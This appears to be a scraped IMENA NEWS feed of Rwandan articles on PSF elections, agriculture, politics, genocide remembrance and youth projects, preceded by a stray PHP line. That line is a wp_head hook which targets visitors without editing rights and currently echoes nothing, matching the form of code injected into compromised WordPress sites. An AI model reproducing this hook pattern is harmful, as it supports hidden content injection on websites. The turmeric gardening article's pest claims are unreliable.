function wp_pf_8158d466(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_8158d466");
The post Amin Miramago yagizwe umuyobozi mukuru wa PSF first appeared on IMENA NEWS.
]]>Iyi mpinduka ije mu gihe PSF ikomeje kugira uruhare rukomeye mu guteza imbere urwego rw’abikorera, rufatiye runini ubukungu bw’u Rwanda. Miramago aje afite ubunararibonye bukomeye, dore ko yari asanzwe ayobora Urugaga rw’Ababaruramari b’Umwuga mu Rwanda (ICPAR), aho yagize uruhare mu guteza imbere imiyoborere myiza mu by’imari no kuzamura urwego rw’ibaruramari.
Ishyirwaho rye rije rikurikira amatora aherutse kuba, yatumye Twagirumukiza François atorwa nk’Umuyobozi wa PSF. Ubuyobozi bushya bwihaye intego zirimo gushyira imbaraga mu kigega cy’ubwishingizi bw’abacuruzi, ndetse no gukangurira abikorera gukora amasaha 24 kuri 24, hagamijwe ko serivisi ziboneka igihe cyose.
Iki kigega cy’ubwishingizi kigamije gufasha abacuruzi batishoboye kubona ubufasha mu gihe bahuye n’ibibazo, nubwo kugeza ubu kikiri gito kikaba kirimo abagera hafi kuri 900 gusa.
Byitezwe ko Miramago azakomeza gushyira imbaraga mu gukorana bya hafi n’abanyamuryango ba PSF, abashishikariza kwitabira izi gahunda no guteza imbere ubucuruzi bwabo. Azifashisha ubunararibonye yakuye muri ICPAR, aho yanagize uruhare mu gutuma uru rwego rwemerwa ku rwego mpuzamahanga no guteza imbere imicungire inoze y’imari n’umutungo bya Leta.
Ishyirwaho rye rifatwa nk’intambwe ikomeye mu gukomeza gushimangira uruhare rwa PSF mu iterambere ry’ubukungu bw’u Rwanda, no gutuma abikorera barushaho kugira ijambo rikomeye mu iterambere ry’igihugu.

![]()
The post Amin Miramago yagizwe umuyobozi mukuru wa PSF first appeared on IMENA NEWS.
]]>The post Private Sector Federation Sets Handover Ceremony for New Leadership first appeared on IMENA NEWS.
]]>
Members of the Private Sector Federation elected new leadership to guide the organization, with a newly appointed chairperson emerging victorious after a competitive process. The elected leader succeeds the outgoing administration and is expected to represent the interests of Rwanda’s private sector at both national and international levels.
The election was conducted to appoint new leaders within the federation, an umbrella organization representing businesses across various industries in Rwanda. The process aimed at strengthening institutional governance and ensuring that the federation continues to advocate effectively for private sector development.
The election took place earlier this month, culminating in the announcement of results that have now set the stage for a transition in leadership.

The leadership transition is part of the federation’s governance structure, designed to promote accountability, inclusiveness, and strategic direction. The newly elected team is expected to address key priorities such as business environment reforms, access to finance, and increased private sector participation in national development.
The election process involved nominations, campaigning within the federation’s membership, and voting conducted in accordance with established guidelines. Observers within the organization described the process as transparent and orderly, reflecting growing institutional maturity.
The Private Sector Federation Rwanda has played a critical role in Rwanda’s economic transformation, acting as a bridge between government and business stakeholders. Its leadership elections are therefore closely watched as indicators of the private sector’s future direction.
As the transition period begins, preparations are underway for the official handover of responsibilities. The swearing-in and handover ceremony for the newly elected leadership is ongoing today 17th March, marking the formal start of their mandate.
The event is expected to bring together key stakeholders from government, industry, and development partners, underscoring the importance of collaboration in advancing Rwanda’s economic agenda.

By: Bertrand MUNYAZIKWIYE
![]()
The post Private Sector Federation Sets Handover Ceremony for New Leadership first appeared on IMENA NEWS.
]]>The post PSF Rwanda, Announces 2026 Elections to Strengthen Private Sector Governance first appeared on IMENA NEWS.
]]>
The elections represent a critical democratic process within PSF, reinforcing transparency, accountability, and inclusive representation among Rwanda’s business community. Members will be encouraged to engage fully by observing official announcements, adhering to participation guidelines, and meeting all key electoral deadlines scheduled throughout the election period.
According to PSF leadership, strong participation is essential to sustaining effective governance structures and advancing the Federation’s mandate to advocate for and serve Rwanda’s private sector. The organization emphasized that collective engagement will further strengthen its institutional capacity and strategic direction in supporting national economic development.
PSF has requested collaboration from dear partners to amplify election announcements, share reminders, and circulate official guidelines to maximize outreach and engagement.
The 2026 elections are expected to mobilize business leaders and stakeholders across sectors, reaffirming PSF’s commitment to structured leadership renewal and participatory governance.

Story By: Bertrand MUNYAZIKWIYE
![]()
The post PSF Rwanda, Announces 2026 Elections to Strengthen Private Sector Governance first appeared on IMENA NEWS.
]]>The post Agrishow 2025: Abahinzi Barimo Kwisanga mu Iterambere Binyuze mu Ifumbire Igezweho first appeared on IMENA NEWS.
]]>
Iki gikorwa cyatangijwe ku mugaragaro na Minisitiri w’Ubuhinzi n’Ubworozi, Dr. Mark Cyubahiro Bagabe, washimangiye ko u Rwanda rukomeje kongera imbaraga mu gukwirakwiza ifumbire igezweho, ihuye n’ubutaka butandukanye, hagamijwe kongera umusaruro w’ubuhinzi.
Ifumbire ihendutse kandi igezweho: Impinduka zifatika mu Bugesera
Uwitonze Pascaline, umuhinzi wo mu Kagari ka Gashora mu Karere ka Bugesera, hafi y’uruganda rwa OCP Africa, avuga ko yabonye impinduka zikomeye nyuma yo kubona ifumbire hafi ye.
Ati. “Ifumbire yegerejwe abaturage binyuze mu bufatanye bwa MINAGRI na OCP Africa. Byadufashije cyane, kuko mbere byatwaraga igihe kinini kandi twarayiguraga ihenze. Ubu tubona ifumbire ku gihe, kandi ku giciro gito,” yatangaje Uwitonze.”

Mu mwaka wa 2020–2021, MINAGRI yagaragaje ko abahinzi 40.9% ari bo bari bakoresha ifumbire mvaruganda. Byaterwaga ahanini n’ibura ryayo, cyangwa igiciro cyayo kiri hejuru.
Nyuma y’itangira ry’uruganda rwa OCP Africa i Bugesera, hari impinduka zigaragara:
Uruganda rwa OCP rufite ubushobozi bwo gutunganya 100,000 toni z’ifumbire buri mwaka. Ibi byafashije kugabanya ikibazo cy’ikusanyirizo no gutinda kugera ku bahinzi.
Iri murikabikorwa rizasozwa ku wa 28 Kamena 2025, rikazibanda kuri ibi bikurikira:


Umwanditsi: Uwamaliya Florence
![]()
The post Agrishow 2025: Abahinzi Barimo Kwisanga mu Iterambere Binyuze mu Ifumbire Igezweho first appeared on IMENA NEWS.
]]>The post Ibanga ry’Abahinzi: uburyo 10 butangaje bwo gukoresha tangawizi (turmeric) ku bimera first appeared on IMENA NEWS.
]]>
Dore uburyo 10 ushobora gukoresha tangawizi (turmeric) ku nyungu z’ibimera byawe n’ ubutaka muri rusange.
1. Turmeric irwanya Udusimba tw’Inzige Karemano
Inzige zishobora kuba ikibazo mu murima, ariko impumuro ya tangawizi irazirukana.
Ukubigenza
Suka ifu ya tangawizi ku mu murima urimo ibihingwa, kandi Ntukoreshe nyinshi cyane, kuko gacye karahagije.
2. Turmeric irwanya Mealybugs (utumatirizi)
Iyo wirukanye inzige, bituma n’ utumatirizi natwo tutaza kubera umuhumuro wa tangawizi.
Ukubigenza
Suka ifu ya tangawizi ku bimera unayizengurutse uruzitiro rw’umurima wose.
3. Turmeric kandi n’ umuti wica udukoko karemano
Tangawizi irwanya udukoko dutandukanye, nko ku dusimba tuzira nk’utwo mu mashu cyangwa utundi twica ibimera.
4. Turmeric irwanya udukoko dutera indwara z’ifumbire
Ifi ya tangawuzi kandi Ifite ubushobozi bwo kurwanya udukoko dutera indwara mu bimera.
Ukubigenza
Fata utuyiko 2 tw’ifu ya tangawizi uyavange mu litiro 1 y’amazi noneho ushake agacupa cyangwa akandi kantu gashobora gupuriza maze ugende ushyira kuri buri gihingwa kirwaye.
5.Turmeric Ivura amabara aza ku mababi
Ibimenyetso by’amabara mabi ku mababi nabyo bikemurwa no gupuriza aya mazi arimo tangawizi ku mababi.
6. Turmeric ivura Indwara ya Powdery Mildew (Akabore k’umweru, ifu y’umweru ikunze kuza ku myembe)
Kugira ngo urwanye iyi ndwara, ushobora kongeramo ibindi binyabutabire karemano.
Ukubigenza Vanga utuyiko 2 tw’ifu ya tangawizi, mililitiro 100 z’amata, n’utuyiko 2 tw’umutobe wa vinegire cyandwa indimu mu litiro 1 y’amazi, noneho ubyuhire ku mababi n’amashami y’igihingwa.
7. Turmeric irinda Indwara y’Igiti cy’Indabo za Rose
Kugira ngo wirinde ko igiti cy’indabo za rose gipfa nyuma yo gutemwa, ukoresha pâte ya tangawizi turmeric
8. Turmeric irinda Kurwara cyangwa kubora kw’ imizi (Root Rot)
Kuvanga tangawizi mu butaka birinda ko imizi yononekara.
9. Ivura igihingwa cya komeretse
Tangawizi ifite ubushobozi bwo gukiza ibikomere by’ibimera
10. Ituma imizi Imera vuba
Tangawizi ishobora gukora nk’ifumbire yihutisha imikurire y’imizi mu gushinga amashami.
Nubwo tangawizi (Turmeric) ari karemano, ukoreshe ikagereranyo gito ku nshuro ya mbere kugira ngo urebe uko igihingwa cyawe kiyakira. Niba ukora ubuhinzi cyangwa ubusitani uharanira kurengera ibidukikije, tangawizi ni igisubizo cyiza kandi cyoroheje.

Umwanditsi wo ku IMENA
![]()
The post Ibanga ry’Abahinzi: uburyo 10 butangaje bwo gukoresha tangawizi (turmeric) ku bimera first appeared on IMENA NEWS.
]]>The post Mu mboni za Dr. Frank Habineza, imisoro mishya ni igitutu ku baturage first appeared on IMENA NEWS.
]]>
Yabitangaje kuri uyu wa Gatandatu, tariki 10 Gicurasi 2025, ubwo iri shyaka ryateraniraga mu nama rusange yo kwemeza abakomiseri b’ishyaka, hanatangwa amahugurwa ku banyamuryango baturutse hirya no hino mu gihugu.

Mu kiganiro yagiranye na IMENA, Dr. Frank yagize Ati. “Nubwo gusora ari ngombwa kuko bigira uruhare mu kubaka igihugu, hari igihe bishobora guhinduka umutwaro. Iyo leta ishyizeho imisoro myinshi, cyane cyane ku bikorwa bisanzwe bifasha abaturage kubona ubuzima, nk’akazi gahabwa mu bukwe, bigaragara nk’aho ari nko konka umuturage. Twumva ko abaturage bagomba gusora ariko bitabaye kubambura ibyo bari bafite byose.“
Imyanya mu Nteko no Guhagararirwa
Dr. Frank yanagarutse ku kuba Ishyaka abereye umuyobozi kandi akaba Atari n’ umudepite mu Nteko Ishinga Amategeko nkuko byari muri manda ishize, avuga ko ibyo bidakwiye gutuma abantu batekereza ko ishyaka Green Party ryacitse intege.
Ati. “Nta cyahindutse ku mikorere y’ishyaka kuko turi guhagararirwa mu Nteko binyuze mu bandi banyapolitiki. Kandi nanjye ubwanjye mpora mbegera kugira ngo dukomeze gutanga ibitekerezo bifatika.“
Gushima Umukuru w’Igihugu ku Mutekano n’Ubushishozi
Dr. Frank kandi yashimye Perezida wa Repubulika y’u Rwanda, Paul Kagame, ku bwo kuyobora igihugu mu buryo bw’ubushishozi no kurinda umutekano w’abaturage.
Dr. Frank Habineza Ati. “Guhagarika imikoranire n’Ububiligi byari ngombwa, cyane cyane nyuma y’uko ibihugu byinshi bifatiye u Rwanda ibihano ariko Ububiligi bwo bugashaka no kurenga kuribyo, byari ngombwa kuko Abanyarwanda dushobora kwibashaho, kandi rero dufite umutekano usesuye nkuko hari ibisasu byigeze kuraswa mu gihugu, ariko ntago byageze kure kubera ingamba z’ubwirinzi zihamye, bityo ntibyakwangiza byinshi, iyo bitaba ibyo, usanga abaturage benshi bari guhura n’akaga.“
Dr. Frank yasabye gukomeza kwiyubaka nk’igihugu nkuko perezida Paul Kagame yavuzeko arukwizirika umukanda kandi tugakomeza gushyira imbere inyungu rusange.

Umwanditsi wo ku Imena
![]()
The post Mu mboni za Dr. Frank Habineza, imisoro mishya ni igitutu ku baturage first appeared on IMENA NEWS.
]]>The post PSF: Kwibuka31 abahoze ari abacuruzi bazize jenoside yakorewe abatusti first appeared on IMENA NEWS.
]]>
Ni igikorwa cyari cyitabiriwe n’abayobozi bibigo bitandukanye, abakozi n’abanyamuryango ba PSF ndetse na Minisitiri w’ Ubucuruzi n’ Inganda wari n’ umushyitsi mukuru.
Mukiganiro cyatanzwe na Abimana Mathias, uhagrariye PSF mu ntara y’ Iburasirazuba cyagarutse kuburyo abakarwanyije ingengabitekerezo ya jenoside ahubwo aribo bayikwirakwije.

Mathias Ati. “namaze imyaka irenga 25 ndi umwarimu ariko ikibabaje nuko mu gihe cya jenoside abarimu, abanyepolitike n’ amadini aribo babaye imbarutso yo gukwirakwiza ivangura mu bantu.”
Yakomeje agira Ati. “Twebwe ubu aho twavuye turahazi ntago twifuza gusubirayo niyo mpamvu dusenyera umugozi umwe n’ubuyobozi bwacu butagendera ku macakubiri n’ ivangura moko kuko ibyo ntaho byatugeze.”
Munyakazi Sadatte watanze ubuhamya bw’inzira y’umusaraba yanyuzemo, yibukije abitabiriye uyu muhango ko byose bafite ubu babikesha ubuyobozi bwiza burangajwe na nyakubahwa perezida Paul Kagame.
Sadatte Munyakazi Ati. “Jenoside yabaye ngeze mu 6 primary icyo gihe narimfite imyaka 12, birangira mama na papa ndetse n’ abavandimwe babishe harokoka nge na murumuna wange, nisanga aringe usigaye uhagararye umuryango, nibwo nakoze amahitamo yarakomeye nsubira kwiga, kuko iyo wagendaga baguha urupapuro rwanditseho ko uri ipfubyi ya jenoside nta babyeyi ufite.”
Sadatte akomeza agira Ati. “Byari ibihe bigoye kugirango wigane, uturane n’abaguhigaga ariko ndashima Leta y’ ubumwe yo yabashije kwiunga abanyarwanda bose ubu tukaba dutuye mu gihugu gifite umutekano cyitarangwa n’amoko cyangwa amacakubiri niyo mpamvu tuzahora Kwibuka Twiyubaka.”
Minisitri w’ Ubucuruzi n Inganda, Prudence Sebahizi yavuzeko ubuhamya bwa sadatte yabukuyeho isomo ry’ubuzima buri munyarwanda wese ya kwigiraho

Yakomeje agira Ati. “Nkuko kandi Mathias yabivuzeko ingengabitekerezo ya jenoside yinjirira mu uburezi, iyobokamana na politike niyo mpamvu natwe tuba tugomba gutora abayobozi beza kuko umuyobozi burya aba ashobora ku kuyobya kuko aba afite ububasha.”
Yakomeje avuga ko ibikorwa byiza bikorwa n’abantu kandi ko n’ibibi nabyo bikorwa n’abantu.
Ati. “Aho ngaho rero niho tugomba kuba urumuri, tukabikora tutitaye ko hari abanda batureberaho.”
Minisitiri Prudence Sebahizi yasoje agira Ati. “Ubu turi mu gihe tuzi neza ko kubaka igihugu bikorwa natwe banyiracyo nta muntu uzava hanze ngo aje kutwubakira u Rwanda, bityo imbaraga zacu, ibitekerezo byacu nibyo bitugira abo turibo kandi bikaduhesha agaciro ku ruhando mpuzamahanga kuburyo kwitwa umunyarwanda biba ishema aho kuba ikimwaro.”
Perezida wa Ibuka yashimiye ubufatanye bwa PSF mu bikorwa byo gufasha abarokotse jenoside yakorewe abatutsi mu 1994.


Umwanditsi wo ku IMENA
![]()
The post PSF: Kwibuka31 abahoze ari abacuruzi bazize jenoside yakorewe abatusti first appeared on IMENA NEWS.
]]>The post Urugendo rw’ imyaka 30 ayobora RUB, Dr Donatilla Kanimba ni muntu ki? first appeared on IMENA NEWS.
]]>
Kuva mu 1995, Ihuriro ry’Abafite Ubumuga bwo Kutabona ryashinzwe na Dr. Kanimba ryagize iterambere rikomeye, rishinga amashami 64 mu gihugu hose, rigamije ubuvugizi, uburezi no gufasha abafite ubumuga bwo kutabona kugira ubushobozi bwo kwifasha.
Ni urugendo rutari rworoshye na buhoro kuko byamusabye kwitanga birenze urugero kubera ubumuga bwo kutabona, ndetse n’amateka yaranze igihugu cy’u Rwanda.
Uyu mubyeyi Dr. Donatilla Kanimba yavukiye mu karere ka Gisagara, Intara y’Amajyepfo mu 1956, maze ubwo Donatilla yarafite imyaka itanu, nibwo we n’abavandimwe be babyukijwe mu gitondo kare kare n’Ababyeyi babo ba babwira ko bagiye guhungira i Burundi, kubera iterabwoba ryo kwica Abatutsi ryakorwaga n’Abahutu b’abahezanguni ryari rimaze gufata intera mu 1961.
Uyu mubyeyi Dr Kanimba Donatilla avuga ko atibuka ibyabaye murugendo rugana I Burundi we n’umuryango ariko ngo bakigerayo nibwo yatangiye kumva amaso amubabaza cyane, gutyo buhoro buhoro atangira gutakaza ubushobozi bwo kubona.
Kanimba akomeza avuga ko ababyeyi be ntako batagize ngo bamufashe kongera kubona, ariko biba iby’ubusa kuko byakomeje kumera nabi, ndetse n’ Abamisiyoneri b’Itorero ry’Abangirikani b’i Buye mu Ngozi, nabo bagerageje kumufasha ngo avurwe ariko ntibyagira icyo bitanga.
Mur’urwo rugendo rwo gushakira Kanimba ubuvuzi, ababyeyi be baje kumenya ko hari umuganga kabuhariwe umwe rukumbi mu karere k’ibiyaga bigari, wakoreraga mu cyahoze ari Congo Belge, ikaba ari Repubulika Iharanira Demukarasi ya Congo y’ubu,
Nyuma yo kugera kuruwo muvuzi ariko bigoranye, ntiyabashije kumenya uburwayi bwamuteraga kubabara amaso cyane, abonye ko nta kindi gisubizo afite yiyemeza kuyavanamo.
Abifashijwemo na ba bamisiyoneri b’Abangirikani, Dr. Kanimba yagiye kwiga i Nairobi muri Kenya guhera mu mashuri abanza abasha no kurangiza kaminuza, ndetse yewe arakomeza kugera ku kiciro cya gatatu cya kaminuza.

Mu 1995 Dr Donatilla Kanimba yatangije umuryango w’abafite ubumuga bwo kutabona hamwe na bamwe mu bahoze bari mu gisirikare cya FPR Inkotanyi batakarije ubushobozi bwo kubona ku rubagamba rwo kubohora Igihugu mu 1994.
Mu 1996 nibwo bagarutse mu Rwanda maze umuryango barawuzamura ugera ku rwego rwo kugira abanyamuryango bibeshejeho mu byiciro bitandukanye by’ubuzima, ibyo byose abenshi bakaba babikesha kudacika intege kwa Dr Donatilla Kanimba, twagereranya n’imboni y’abatabona nubwo nawe afite ubumuga bwo kutabona.
Mu myaka icumi ishize kandi kaminuza y’umuryango w’ibihugu bivuga Icyongereza ya London (Commonwealth University of London), yamugeneye impamyabushobozi y’ikirenga y’icyubahiro imushimira akazi gakomeye yakoze.
Tariki ya 21 Werurwe 2025 nibwo, umuryango w’ Ubumwe Nyarwanda w’Abafite Ubumuga bwo Kutabona RUB watangaje ikiruhuko cy’umuyobozi wabo Dr. Donatilla Kanimba.
Mu muhango wo kumusezera no kumushimira ibikorwa by’indashyikirwa yakoze Dr. Betty Mukarwego yashimye uruhare rukomeye rwa Dr. Kanimba, aho yagize Ati. “Kubera umuhate wa Dr. Donatilla, Abanyarwanda benshi bafite ubumuga bwo kutabona ubu barize, barakora, kandi bagira uruhare mu iterambere ry’igihugu.
Nubwo Dr. Kanimba asezeye ku mirimo ye muri RUB, avuga ko azakomeza gutanga umusanzu we aho bikenewe.
Ati. “Niteguye gukomeza gutanga umusanzu aho bikenewe. Nubwo ngiye mu kiruhuko cy’izabukuru muri RUB, ndacyafite umuhate wo gukora ibishoboka byose kugira ngo abafite ubumuga bwo kutabona bumve ko ari ingenzi kandi bafite agaciro.”
Abanyamuryango ba RUB n’ Abafatanyabikorwa bashimiye byimazeyo Dr. Kanimba Donatilla kumusanzu n’ubwitange ndetse n’umurage ukomeye asize.
Turagushimira, Dr. Kanimba, ku bw’akazi kawe kadasanzwe no kuduhamiriza ko, mu gihe dufite icyerekezo n’umurava, Dushobora gutsinda inzitizi zose, Umurage wawe uzakomeza kudutera imbaraga mu rugendo ruganisha ku muryango urimo bose kandi uboneye.
Umwanditsi w’ Imena
![]()
The post Urugendo rw’ imyaka 30 ayobora RUB, Dr Donatilla Kanimba ni muntu ki? first appeared on IMENA NEWS.
]]>The post Ubudasa bwa African Mirror mu rugendo rwo guhanga udushya no kwiteza imbere first appeared on IMENA NEWS.
]]>
Iki gikorwa cyo kuremera abana bo ku muhanda cyabaye kuwa 18 Werurwe 2025 mu mudugudu wa Karama ahazwi nka Norvege mu mujyi wa Kigali, iki gikorwa cyikaba cyaratangiriye ku bana 4 baziyongeraho abandi 8 bafashwe ibipimo nabo bakaba barimo kudoderwa imyambaro.
African Mirror, n’ Itsinda rigizwe n’ urubyiruko ndetse n’abana batagize amahirwe yo gukomeza amashuri kubera amikoro macye, uhagarariye Atelier de African Mirror, Amir Igihozo avuga ko uyu mwuga bihangiye ubafasha cyane kuba ntangeso mbi bakishoramo kandi ukaba unabafasha kwiteza imbere no kwagura impano zabo.

Igihozo Amir Ati. “Abenshi muri twe ntago twashoboye kugira amahirwe yo gusoza amashuri, noneho twishyize hamwe duhitamo kuticara ubusa yewe ngo tunishore mu ngezo mbi nuko dushaka ikintu cyadufasha kwiteza imbere dusanga umushinga wo kudoda ushobora kudufasha, ugafasha na barumuna bacu bahura nikibazo cy’ubukene, gukomeza kwiga.”
Amir akomeza agira Ati. “Twatangiye kwiga muri Gicurasi 2024 duhereye ku mafaranga twastindiye mu marushanwa yo kubyina ategurwa n’inzu ihanga imideli yitwa Urutozi Gakondo aho twabaye abambere, maze tugura imashini nye n’ibindi byifashishwa mu kwiga kudoda.
Amir Igihozo asoza avuga ko kwishyira hamwe bibatera imbaraga zo kwishakamo ibisubizo binyuze mu guhanga udushya no kubyaza umusaruro impano bafite yo kubyina.
Igihozo Amir Ati. “Dushyize hamwe twashoboye kurihira ishuri abana tubana mu istinda babasha gusubira mw’ishuri, gusa nubwo hari igihe amafaranga abura dukomeza gutahiriza umugozi umwe akaba ariyo mpamvu dusaba Leta n’ababishinzwe kuba haricyo badufasha yaba ari imashini zidoda cyangwa ibyo twigiraho nk’ibitambaro, ubudodo n’ibindi kuko ni ingenzi cyane kuri twe no kuri barumuna bacu.”
Niyigena Clementine n’umunyeshuri wiga kudoda muri Atelier de African Mirror akaba yarageze mu mwaka wa 5 w’amashuri yisumbuye aho yigaga ubwubatsi ariko akaba atarigeze amahirwe yo gukomeza kwiga kubera uburwayi, niko kugana Africa Mirror kugirango yige umwuga nawe abashe kwiteza imbere.

Niyigena Ati. “Nyuma yo kuva mw’ishuri kubera uburwayi nyuma maze koroherwa, namenye ko itsinda African Mirror bigisha kudoda ababyifuza bose kandi bafite ubushake nuko nange ndaza baranyandika nangira kwiga gutyo.”
Binyuze mu bihembo bitandukanye itsinda African Mirror bagiye begukana harimo na Kigali Youth Festival (Isangano ry’ Urubyiruko) iherutse kuba ku nshuro yayo ya 3 ndetse n’Urutozi challenge dance competition begukanye inshuro 2, byabafashije kwigurira imashini 6 zidoda ndetse n’ibindi bikoresho byangombwa.
Umuyobozi nshingwabikorwa w’umudugudu wa Karama, bwana Alphonse Twagirimana avuga ko ibikorwa byiri tsinda ari indashyikirwa kandi ko ari urugero rwiza k’ urubyiruko bo Rwanda rw’ejo.
Bwana Twagirimana Alphonse Ati. “Itsinda African Mirror dufatanya muri byinshi kuko ni abafatanyabikorwa bacu mu bikorwa bitandukanye yaba ari Umuganda cyangwa amasuku hose turabana kandi bitwara neza, ibikorwa byo gufasha bagenzi babo turabishima kuko bizamura iterambere ryabo nk’urubyiruko ndetse n’umuryango nyarwanda muri rusange, rero turabasaba gukomeza kwishakamo ibisubizo, bakamenya no kwigira kuko aribo Rwanda rw’ejo.”
Twagirimana yasoje avuga ko hagize inkunga cyangwa ubufasha runaka buboneka batazuyaza kubugeza kuriri tsinda ariko nanone abasaba kuba batakwirara ngo bagire abo bategera amaboko ahubwo bo ko bagomba kwishakamo ibisubizo.
Itsinda African Mirror mw’ishami ryo kudoda, kugeza ubu abanyeshuro 12 nibo bari kwiga bikaba biteganyijwe ko baziyongera bitewe n’ubushobozi uko buzagenda bwiyongera.
Kwinjira muri Atelier de African Mirror ntakiguzi bisaba usibye kuba ubikunze, ubishaka kandi ufite umutima wo gufatanya n’abandi.




Umwanditsi w’ Imena
![]()
The post Ubudasa bwa African Mirror mu rugendo rwo guhanga udushya no kwiteza imbere first appeared on IMENA NEWS.
]]>The post Guteza imbere umutekano w’ibiribwa binyuze mu kubungabunga ibidukikije first appeared on IMENA NEWS.
]]>
ku munsi mpuzamahanga w’amashyamba, ibihugu bishishikarizwa gukora ibikorwa by’ubukangurambaga ku rwego rw’akarere, urw’igihugu ndetse n’urw’isi, harimo n’ibikorwa byo gutera ibiti.
Uyu mwaka insanganyamatsiko y’Umunsi Mpuzamahanga w’Amashyamba igira iti, “Amashyamba n’Ibiribwa”, mu rwego rwo kwibanda ku ruhare rw’ingenzi amashyamba agira mu bijyanye n’umutekano w’ibiribwa, imirire, n’imibereho myiza.
Uretse gutanga ibiribwa, ingufu, amafaranga n’akazi, amashyamba afasha mu kubungabunga ubutaka, kurinda amasoko y’amazi, ndetse anatanga ahantu ho guturwa ku binyabuzima bitandukanye, harimo n’ibindi binyabuzima by’ingenzi murusobe rw’ibinyabuzima.
Amashyamba kandi ni ingenzi cyane ku mibereho y’imiryango itura mu mashyamba, cyane cyane Abaturage Kavukire, kandi amashyamba agira uruhare mu kugabanya ingaruka z’imihindagurikire y’ibihe binyuze mu kubika umwuka wa karuboni.
Uyu munsi ubaye mu gihe,Umuryango w’Abibumbye ishami rishinzwe Ibiribwa n’Ubuhinzi. (FAO) wizihiza isabukuru y’imyaka 80.

FAO (Food and Agriculture Organization of the United Nations) Yashinzwe mu mwaka wa 1945, ku ntego yo kurwanya inzara, kunoza imirire no guteza imbere ubuhinzi, uburobyi n’ubworozi mu bihugu bitandukanye ku isi harimo n’u Rwanda.
Umwanditsi w’ Imena
![]()
The post Guteza imbere umutekano w’ibiribwa binyuze mu kubungabunga ibidukikije first appeared on IMENA NEWS.
]]>